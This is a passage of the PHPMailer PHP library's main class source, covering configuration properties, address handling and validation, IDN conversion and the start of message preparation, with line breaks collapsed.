outcome (success or failure) is not yet decided. * * @see https://www.rfc-editor.org/rfc/rfc3461.html#section-4.1 for more information about NOTIFY */ public $dsn = ''; /** * SMTP class debug output mode. * Debug output level. * Options: * @see SMTP::DEBUG_OFF: No output * @see SMTP::DEBUG_CLIENT: Client messages * @see SMTP::DEBUG_SERVER: Client and server messages * @see SMTP::DEBUG_CONNECTION: As SERVER plus connection status * @see SMTP::DEBUG_LOWLEVEL: Noisy, low-level data output, rarely needed * * @see SMTP::$do_debug * * @var int */ public $SMTPDebug = 0; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * By default PHPMailer will use `echo` if run from a `cli` or `cli-server` SAPI, `html` otherwise. * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * * ```php * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * ``` * * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` * level output is used: * * ```php * $mail->Debugoutput = new myPsr3Logger; * ``` * * @see SMTP::$Debugoutput * * @var string|callable|\Psr\Log\LoggerInterface */ public $Debugoutput = 'echo'; /** * Whether to keep the SMTP connection open after each message. * If this is set to true then the connection will remain open after a send, * and closing the connection will require an explicit call to smtpClose(). * It's a good idea to use this if you are sending multiple messages as it reduces overhead. * See the mailing list example for how to use it. * * @var bool */ public $SMTPKeepAlive = false; /** * Whether to split multiple to addresses into multiple messages * or send them all in one message. * Only supported in `mail` and `sendmail` transports, not in SMTP. * * @var bool * * @deprecated 6.0.0 PHPMailer isn't a mailing list manager! */ public $SingleTo = false; /** * Storage for addresses when SingleTo is enabled. * * @var array */ protected $SingleToArray = []; /** * Whether to generate VERP addresses on send. * Only applicable when sending via SMTP. * * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path * @see https://www.postfix.org/VERP_README.html Postfix VERP info * * @var bool */ public $do_verp = false; /** * Whether to allow sending messages with an empty body. * * @var bool */ public $AllowEmpty = false; /** * DKIM selector. * * @var string */ public $DKIM_selector = ''; /** * DKIM Identity. * Usually the email address used as the source of the email. * * @var string */ public $DKIM_identity = ''; /** * DKIM passphrase. * Used if your key is encrypted. * * @var string */ public $DKIM_passphrase = ''; /** * DKIM signing domain name. * * @example 'example.com' * * @var string */ public $DKIM_domain = ''; /** * DKIM Copy header field values for diagnostic use. * * @var bool */ public $DKIM_copyHeaderFields = true; /** * DKIM Extra signing headers. * * @example ['List-Unsubscribe', 'List-Help'] * * @var array */ public $DKIM_extraHeaders = []; /** * DKIM private key file path. * * @var string */ public $DKIM_private = ''; /** * DKIM private key string. * * If set, takes precedence over `$DKIM_private`. * * @var string */ public $DKIM_private_string = ''; /** * Callback Action function name. * * The function that handles the result of the send email action. * It is called out by send() for each email sent. * * Value can be any php callable: https://www.php.net/is_callable * * Parameters: * bool $result result of the send action * array $to email addresses of the recipients * array $cc cc email addresses * array $bcc bcc email addresses * string $subject the subject * string $body the email body * string $from email address of sender * string $extra extra information of possible use * 'smtp_transaction_id' => last smtp transaction id * * @var callable|callable-string */ public $action_function = ''; /** * What to put in the X-Mailer header. * Options: An empty string for PHPMailer default, whitespace/null for none, or a string to use. * * @var string|null */ public $XMailer = ''; /** * Which validator to use by default when validating email addresses. * May be a callable to inject your own validator, but there are several built-in validators. * The default validator uses PHP's FILTER_VALIDATE_EMAIL filter_var option. * * If CharSet is UTF8, the validator is left at the default value, * and you send to addresses that use non-ASCII local parts, then * PHPMailer automatically changes to the 'eai' validator. * * @see PHPMailer::validateAddress() * * @var string|callable */ public static $validator = 'php'; /** * An instance of the SMTP sender class. * * @var SMTP */ protected $smtp; /** * The array of 'to' names and addresses. * * @var array */ protected $to = []; /** * The array of 'cc' names and addresses. * * @var array */ protected $cc = []; /** * The array of 'bcc' names and addresses. * * @var array */ protected $bcc = []; /** * The array of reply-to names and addresses. * * @var array */ protected $ReplyTo = []; /** * An array of all kinds of addresses. * Includes all of $to, $cc, $bcc. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * * @var array */ protected $all_recipients = []; /** * An array of names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $all_recipients * and one of $to, $cc, or $bcc. * This array is used only for addresses with IDN. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * @see PHPMailer::$all_recipients * * @var array */ protected $RecipientsQueue = []; /** * An array of reply-to names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $ReplyTo. * This array is used only for addresses with IDN. * * @see PHPMailer::$ReplyTo * * @var array */ protected $ReplyToQueue = []; /** * Whether the need for SMTPUTF8 has been detected. Set by * preSend() if necessary. * * @var bool */ public $UseSMTPUTF8 = false; /** * The array of attachments. * * @var array */ protected $attachment = []; /** * The array of custom headers. * * @var array */ protected $CustomHeader = []; /** * The most recent Message-ID (including angular brackets). * * @var string */ protected $lastMessageID = ''; /** * The message's MIME type. * * @var string */ protected $message_type = ''; /** * The array of MIME boundary strings. * * @var array */ protected $boundary = []; /** * The array of available text strings for the current language. * * @var array */ protected static $language = []; /** * The number of errors encountered. * * @var int */ protected $error_count = 0; /** * The S/MIME certificate file path. * * @var string */ protected $sign_cert_file = ''; /** * The S/MIME key file path. * * @var string */ protected $sign_key_file = ''; /** * The optional S/MIME extra certificates ("CA Chain") file path. * * @var string */ protected $sign_extracerts_file = ''; /** * The S/MIME password for the key. * Used only if the key is encrypted. * * @var string */ protected $sign_key_pass = ''; /** * Whether to throw exceptions for errors. * * @var bool */ protected $exceptions = false; /** * Unique ID used for message ID and boundaries. * * @var string */ protected $uniqueid = ''; /** * The PHPMailer Version number. * * @var string */ const VERSION = '7.1.1'; /** * Error severity: message only, continue processing. * * @var int */ const STOP_MESSAGE = 0; /** * Error severity: message, likely ok to continue processing. * * @var int */ const STOP_CONTINUE = 1; /** * Error severity: message, plus full stop, critical error reached. * * @var int */ const STOP_CRITICAL = 2; /** * The SMTP standard CRLF line break. * If you want to change line break format, change static::$LE, not this. */ const CRLF = "\r\n"; /** * "Folding White Space" a white space string used for line folding. */ const FWS = ' '; /** * SMTP RFC standard line ending; Carriage Return, Line Feed. * * @var string */ protected static $LE = self::CRLF; /** * The maximum line length supported by mail(). * * Background: mail() will sometimes corrupt messages * with headers longer than 65 chars, see #818. * * @var int */ const MAIL_MAX_LINE_LENGTH = 63; /** * The maximum line length allowed by RFC 2822 section 2.1.1. * * @var int */ const MAX_LINE_LENGTH = 998; /** * The lower maximum line length allowed by RFC 2822 section 2.1.1. * This length does NOT include the line break * 76 means that lines will be 77 or 78 chars depending on whether * the line break format is LF or CRLF; both are valid. * * @var int */ const STD_LINE_LENGTH = 76; /** * Constructor. * * @param bool $exceptions Should we throw external exceptions? */ public function __construct($exceptions = null) { if (null !== $exceptions) { $this->exceptions = (bool) $exceptions; } //Pick an appropriate debug output format automatically $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'); } /** * Destructor. */ public function __destruct() { //Close any open SMTP connection nicely $this->smtpClose(); } /** * Call mail() in a safe_mode-aware fashion. * Also, unless sendmail_path points to sendmail (or something that * claims to be sendmail), don't pass params (not a perfect fix, * but it will do). * * @param string $to To * @param string $subject Subject * @param string $body Message Body * @param string $header Additional Header(s) * @param string|null $params Params * * @return bool */ private function mailPassthru($to, $subject, $body, $header, $params) { //Check overloading of mail function to avoid double-encoding // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecatedRemoved if ((int)ini_get('mbstring.func_overload') & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } //Calling mail() with null params breaks $this->edebug('Sending with mail()'); $this->edebug('Sendmail path: ' . ini_get('sendmail_path')); $this->edebug("Envelope sender: {$this->Sender}"); $this->edebug("To: {$to}"); $this->edebug("Subject: {$subject}"); $this->edebug("Headers: {$header}"); if (!$this->UseSendmailOptions || null === $params) { $result = @mail($to, $subject, $body, $header); } else { $this->edebug("Additional params: {$params}"); $result = @mail($to, $subject, $body, $header, $params); } $this->edebug('Result: ' . ($result ? 'true' : 'false')); return $result; } /** * Output debugging info via a user-defined method. * Only generates output if debug output is enabled. * * @see PHPMailer::$Debugoutput * @see PHPMailer::$SMTPDebug * * @param string $str */ protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } //Is this a PSR-3 logger? if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { $this->Debugoutput->debug(rtrim($str, "\r\n")); return; } //Avoid clash with built-in function names if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log /** @noinspection ForgottenDebugOutputInspection */ error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ), "<br>\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/\r\n|\r/m', "\n", $str); echo gmdate('Y-m-d H:i:s'), "\t", //Trim trailing space trim( //Indent for readability, except for trailing break str_replace( "\n", "\n \t ", trim($str) ) ), "\n"; } } /** * Sets message type to HTML or plain. * * @param bool $isHtml True for HTML mode */ public function isHTML($isHtml = true) { if ($isHtml) { $this->ContentType = static::CONTENT_TYPE_TEXT_HTML; } else { $this->ContentType = static::CONTENT_TYPE_PLAINTEXT; } } /** * Send messages using SMTP. */ public function isSMTP() { $this->Mailer = 'smtp'; } /** * Send messages using PHP's mail() function. */ public function isMail() { $this->Mailer = 'mail'; } /** * Extract sendmail path and parse to deal with known parameters. * * @param string $sendmailPath The sendmail path as set in php.ini * * @return string The sendmail path without the known parameters */ private function parseSendmailPath($sendmailPath) { $sendmailPath = trim((string)$sendmailPath); if ($sendmailPath === '') { return $sendmailPath; } $parts = preg_split('/\s+/', $sendmailPath); if (empty($parts)) { return $sendmailPath; } $command = array_shift($parts); $remainder = []; // Parse only -t, -i, -oi and -f parameters. for ($i = 0; $i < count($parts); ++$i) { $part = $parts[$i]; if (preg_match('/^-(i|oi|t)$/', $part, $matches)) { continue; } if (preg_match('/^-f(.*)$/', $part, $matches)) { $address = $matches[1]; if ($address === '' && isset($parts[$i + 1]) && strpos($parts[$i + 1], '-') !== 0) { $address = $parts[++$i]; } $this->Sender = $address; continue; } $remainder[] = $part; } // The params that are not parsed are added back to the command. if (!empty($remainder)) { $command .= ' ' . implode(' ', $remainder); } return $command; } /** * Send messages using $Sendmail. */ public function isSendmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'sendmail')) { $ini_sendmail_path = '/usr/sbin/sendmail'; } $this->Sendmail = $this->parseSendmailPath($ini_sendmail_path); $this->Mailer = 'sendmail'; } /** * Send messages using qmail. */ public function isQmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'qmail')) { $ini_sendmail_path = '/var/qmail/bin/qmail-inject'; } $this->Sendmail = $this->parseSendmailPath($ini_sendmail_path); $this->Mailer = 'qmail'; } /** * Add a "To" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress('to', $address, $name); } /** * Add a "CC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress('cc', $address, $name); } /** * Add a "BCC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress('bcc', $address, $name); } /** * Add a "Reply-To" address. * * @param string $address The email address to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); } /** * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still * be modified after calling this function), addition of such addresses is delayed until send(). * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'Reply-To' * @param string $address The email address * @param string $name An optional username associated with the address * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function addOrEnqueueAnAddress($kind, $address, $name) { $pos = false; if ($address !== null) { $address = trim($address); $pos = strrpos($address, '@'); } if (false === $pos) { //At-sign is missing. $error_message = sprintf( '%s (%s): %s', self::lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ($name !== null && is_string($name)) { $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim } else { $name = ''; } $params = [$kind, $address, $name]; //Enqueue addresses with IDN until we know the PHPMailer::$CharSet. //Domain is assumed to be whatever is after the last @ symbol in the address if ($this->has8bitChars(substr($address, ++$pos))) { if (static::idnSupported()) { if ('Reply-To' !== $kind) { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } elseif (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } } //We have an 8-bit domain, but we are missing the necessary extensions to support it //Or we are already sending to this address return false; } //Immediately add standard addresses without IDN. return call_user_func_array([$this, 'addAnAddress'], $params); } /** * Set the boundaries to use for delimiting MIME parts. * If you override this, ensure you set all 3 boundaries to unique values. * The default boundaries include a "=_" sequence which cannot occur in quoted-printable bodies, * as suggested by https://www.rfc-editor.org/rfc/rfc2045#section-6.7 * * @return void */ public function setBoundaries() { $this->uniqueid = $this->generateId(); $this->boundary[1] = 'b1=_' . $this->uniqueid; $this->boundary[2] = 'b2=_' . $this->uniqueid; $this->boundary[3] = 'b3=_' . $this->uniqueid; } /** * Add an address to one of the recipient arrays or to the ReplyTo array. * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' * @param string $address The email address to send, resp. to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function addAnAddress($kind, $address, $name = '') { if ( self::$validator === 'php' && ((bool) preg_match('/[\x80-\xFF]/', $address)) ) { //The caller has not altered the validator and is sending to an address //with UTF-8, so assume that they want UTF-8 support instead of failing $this->CharSet = self::CHARSET_UTF8; self::$validator = 'eai'; } if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) { $error_message = sprintf( '%s: %s', self::lang('Invalid recipient kind'), $kind ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if (!static::validateAddress($address)) { $error_message = sprintf( '%s (%s): %s', self::lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ('Reply-To' !== $kind) { if (!array_key_exists(strtolower($address), $this->all_recipients)) { $this->{$kind}[] = [$address, $name]; $this->all_recipients[strtolower($address)] = true; return true; } } else { foreach ($this->ReplyTo as $replyTo) { if (0 === strcasecmp($replyTo[0], $address)) { return false; } } $this->ReplyTo[] = [$address, $name]; return true; } return false; } /** * Parse and validate a string containing one or more RFC822-style comma-separated email addresses * of the form "display name <address>" into an array of name/address pairs. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available and * the deprecated $useimap argument is truthy. * Note that quotes in the name part are removed. * * @see https://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation * * @param string $addrstr The address list string * @param bool|null $useimap Deprecated in PHPMailer 6.11.0. * Truthy values request the deprecated IMAP parser * and trigger a deprecation warning. * @param string $charset The charset to use when decoding the address list string. * * @return array */ public static function parseAddresses($addrstr, $useimap = null, $charset = self::CHARSET_ISO88591) { if ($useimap == true) { trigger_error(self::lang('deprecated_argument') . '$useimap', E_USER_DEPRECATED); } $addresses = []; if ($useimap == true && function_exists('imap_rfc822_parse_adrlist')) { //Use this built-in parser if it's available // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.imap_rfc822_parse_adrlistRemoved -- wrapped in function_exists() $list = imap_rfc822_parse_adrlist($addrstr, ''); // Clear any potential IMAP errors to get rid of notices being thrown at end of script. // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.imap_errorsRemoved -- wrapped in function_exists() imap_errors(); foreach ($list as $address) { if ( '.SYNTAX-ERROR.' !== $address->host && static::validateAddress($address->mailbox . '@' . $address->host) ) { //Decode the name part if it's present and maybe encoded if ( property_exists($address, 'personal') && is_string($address->personal) && $address->personal !== '' ) { $address->personal = static::decodeHeader($address->personal, $charset); } $addresses[] = [ 'name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host, ]; } } } else { //Use this simpler parser $addresses = static::parseSimplerAddresses($addrstr, $charset); } return $addresses; } /** * Parse a string containing one or more RFC822-style comma-separated email addresses * with the form "display name <address>" into an array of name/address pairs. * Uses a simpler parser that does not require the IMAP extension but doesnt support * the full RFC822 spec. For full RFC822 support, use the PHP IMAP extension. * * @param string $addrstr The address list string * @param string $charset The charset to use when decoding the address list string. * * @return array */ protected static function parseSimplerAddresses($addrstr, $charset) { // Emit a runtime notice to recommend using the IMAP extension for full RFC822 parsing trigger_error(self::lang('imap_recommended'), E_USER_NOTICE); $addresses = []; $list = explode(',', $addrstr); foreach ($list as $address) { $address = trim($address); //Is there a separate name part? if (strpos($address, '<') === false) { //No separate name, just use the whole thing if (static::validateAddress($address)) { $addresses[] = [ 'name' => '', 'address' => $address, ]; } } else { $parsed = static::parseEmailString($address); $email = $parsed['email']; if (static::validateAddress($email)) { $name = static::decodeHeader($parsed['name'], $charset); $addresses[] = [ //Remove any surrounding quotes and spaces from the name 'name' => trim($name, '\'" '), 'address' => $email, ]; } } } return $addresses; } /** * Parse a string containing an email address with an optional name * and divide it into a name and email address. * * @param string $input The email with name. * * @return array{name: string, email: string} */ private static function parseEmailString($input) { $input = trim((string)$input); if ($input === '') { return ['name' => '', 'email' => '']; } $pattern = '/^\s*(?:(?:"([^"]*)"|\'([^\']*)\'|([^<]*?))\s*)?<\s*([^>]+)\s*>\s*$/'; if (preg_match($pattern, $input, $matches)) { $name = ''; // Double quotes including special scenarios. if (isset($matches[1]) && $matches[1] !== '') { $name = $matches[1]; // Single quotes including special scenarios. } elseif (isset($matches[2]) && $matches[2] !== '') { $name = $matches[2]; // Simplest scenario, name and email are in the format "Name <email>". } elseif (isset($matches[3])) { $name = trim($matches[3]); } return ['name' => $name, 'email' => trim($matches[4])]; } return ['name' => '', 'email' => $input]; } /** * Set the From and FromName properties. * * @param string $address * @param string $name * @param bool $auto Whether to also set the Sender address, defaults to true * * @throws Exception * * @return bool */ public function setFrom($address, $name = '', $auto = true) { if (is_null($name)) { //Helps avoid a deprecation warning in the preg_replace() below $name = ''; } $address = trim((string)$address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim //Don't validate now addresses with IDN. Will be done in send(). $pos = strrpos($address, '@'); if ( (false === $pos) || ((!$this->has8bitChars(substr($address, ++$pos)) || !static::idnSupported()) && !static::validateAddress($address)) ) { $error_message = sprintf( '%s (From): %s', self::lang('invalid_address'), $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto && empty($this->Sender)) { $this->Sender = $address; } return true; } /** * Return the Message-ID header of the last email. * Technically this is the value from the last time the headers were created, * but it's also the message ID of the last sent message except in * pathological cases. * * @return string */ public function getLastMessageID() { return $this->lastMessageID; } /** * Check that a string looks like an email address. * Validation patterns supported: * * `auto` Pick best pattern automatically; * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0; * * `pcre` Use old PCRE implementation; * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. * * `eai` Use a pattern similar to the HTML5 spec for 'email' and to firefox, extended to support EAI (RFC6530). * * `noregex` Don't use a regex: super fast, really dumb. * Alternatively you may pass in a callable to inject your own validator, for example: * * ```php * PHPMailer::validateAddress('user@example.com', function($address) { * return (strpos($address, '@') !== false); * }); * ``` * * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. * * @param string $address The email address to check * @param string|callable $patternselect Which pattern to use * * @return bool */ public static function validateAddress($address, $patternselect = null) { if (null === $patternselect) { $patternselect = static::$validator; } //Don't allow strings as callables, see SECURITY.md and CVE-2021-3603 if (is_callable($patternselect) && !is_string($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false || strpos($address, "\r") !== false) { return false; } switch ($patternselect) { case 'pcre': //Kept for BC case 'pcre8': /* * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL * is based. * In addition to the addresses allowed by filter_var, also permits: * * dotless domains: `a@b` * * comments: `1234 @ local(blah) .machine .example` * * quoted elements: `'"test blah"@example.org'` * * numeric TLDs: `a@b.123` * * unbracketed IPv4 literals: `a@192.168.0.1` * * IPv6 literals: 'first.last@[IPv6:a1::]' * Not all of these will necessarily work for sending! * * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (bool) preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'html5': /* * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * * @see https://html.spec.whatwg.org/#e-mail-state-(type=email) */ return (bool) preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'eai': /* * This is the pattern used in the HTML5 spec for validation of 'email' type * form input elements (as above), modified to accept Unicode email addresses. * This is also more lenient than Firefox' html5 spec, in order to make the regex faster. * 'eai' is an acronym for Email Address Internationalization. * This validator is selected automatically if you attempt to use recipient addresses * that contain Unicode characters in the local part. * * @see https://html.spec.whatwg.org/#e-mail-state-(type=email) * @see https://en.wikipedia.org/wiki/International_email */ return (bool) preg_match( '/^[-\p{L}\p{N}\p{M}.!#$%&\'*+\/=?^_`{|}~]+@[\p{L}\p{N}\p{M}](?:[\p{L}\p{N}\p{M}-]{0,61}' . '[\p{L}\p{N}\p{M}])?(?:\.[\p{L}\p{N}\p{M}]' . '(?:[-\p{L}\p{N}\p{M}]{0,61}[\p{L}\p{N}\p{M}])?)*$/usD', $address ); case 'php': default: return filter_var($address, FILTER_VALIDATE_EMAIL) !== false; } } /** * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the * `intl` and `mbstring` PHP extensions. * * @return bool `true` if required functions for IDN support are present */ public static function idnSupported() { return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding'); } /** * Converts IDN in given email address to its ASCII form, also known as punycode, if possible. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet. * This function silently returns unmodified address if: * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form) * - Conversion to punycode is impossible (e.g. required PHP functions are not available) * or fails for any reason (e.g. domain contains characters not allowed in an IDN). * * @see PHPMailer::$CharSet * * @param string $address The email address to convert * * @return string The encoded address in ASCII form */ public function punyencodeAddress($address) { //Verify we have required functions, CharSet, and at-sign. $pos = strrpos($address, '@'); if ( !empty($this->CharSet) && false !== $pos && static::idnSupported() ) { $domain = substr($address, ++$pos); //Verify CharSet string is a valid one, and domain properly encoded in this CharSet. if ($this->has8bitChars($domain) && @mb_check_encoding($domain, $this->CharSet)) { //Convert the domain from whatever charset it's in to UTF-8 $domain = mb_convert_encoding($domain, self::CHARSET_UTF8, $this->CharSet); //Ignore IDE complaints about this line - method signature changed in PHP 5.4 $errorcode = 0; if (defined('INTL_IDNA_VARIANT_UTS46')) { //Use the current punycode standard (appeared in PHP 7.2) $punycode = idn_to_ascii( $domain, \IDNA_DEFAULT | \IDNA_USE_STD3_RULES | \IDNA_CHECK_BIDI | \IDNA_CHECK_CONTEXTJ | \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46 ); } elseif (defined('INTL_IDNA_VARIANT_2003')) { //Fall back to this old, deprecated/removed encoding // phpcs:ignore PHPCompatibility.Constants.RemovedConstants.intl_idna_variant_2003DeprecatedRemoved $punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_2003); } else { //Fall back to a default we don't know about // phpcs:ignore PHPCompatibility.ParameterValues.NewIDNVariantDefault.NotSet $punycode = idn_to_ascii($domain, $errorcode); } if (false !== $punycode) { return substr($address, 0, $pos) . $punycode; } } } return $address; } /** * Create a message and send it. * Uses the sending method specified by $Mailer. * * @throws Exception * * @return bool false on error - See the ErrorInfo property for details of the error */ public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (Exception $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Prepare a message for sending. * * @throws Exception * * @return bool */ public function preSend() { if ( 'smtp' === $this->Mailer || ('mail' === $this->Mailer && (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0)) ) { //SMTP mandates RFC-compliant line endings //and it's also used with mail() on Windows static::setLE(self::CRLF); } else { //Maintain backward compatibility with legacy Linux command line mailers static::setLE(PHP_EOL); } //Check for buggy PHP versions that add a header with an incorrect line break if ( 'mail' === $this->Mailer && ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017) || (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103)) && ini_get('mail.add_x_header') === '1' && stripos(PHP_OS, 'WIN') === 0 ) { trigger_error(self::lang('buggy_php'), E_USER_WARNING); } try { $this->error_count = 0; //Reset errors $this->mailHeader = ''; //The code below tries to support full use of Unicode, //while remaining compatible with legacy SMTP servers to //the greatest degree possible: If the message uses //Unicode in the local parts of any addresses, it is sent //using SMTPUTF8. If not, it it sent using //punycode-encoded domains and plain SMTP. if ( static::CHARSET_UTF8 === strtolower($this->CharSet) && ($this->anyAddressHasUnicodeLocalPart($this->RecipientsQueue) || $this->anyAddressHasUnicodeLocalPart(array_keys($this->all_recipients)) || $this->anyAddressHasUnicodeLocalPart($this->ReplyToQueue) || $this->addressHasUnicodeLocalPart($this->From)) ) { $this->UseSMTPUTF8 = true; } //Dequeue recipient and Reply-To addresses with IDN foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { if (!$this->UseSMTPUTF8) { $params[1] = $this->punyencodeAddress($params[1]); } call_user_func_array([$this, 'addAnAddress'], $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new Exception(self::lang('provide_address'), self::STOP_CRITICAL); } //Validate From, Sender, and ConfirmReadingTo addresses foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) { if ($this->{$address_kind} === null) { $this->{$address_kind} = ''; continue; } $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!static::validateAddress($this->{$address_kind})) { $error_message = sprintf( '%s (%s): %s', self::lang('invalid_address'), $address_kind, $this->{$address_kind} ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } } //Set whether the message is multipart/alternative if ($this->alternativeExists()) { $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE; } $this->setMessageType(); //Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty && empty($this->Body)) { throw new Exception(self::lang('empty_message'), self::STOP_CRITICAL); } //Trim subject consistently $this->Subject = trim($this->Subject); //Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); //createBody may have added some headers, so retain them $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; //To capture the complete message when using mail(), create //an extra header list which createHeader() doesn't fold in if ('mail' === $this->Mailer) { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', 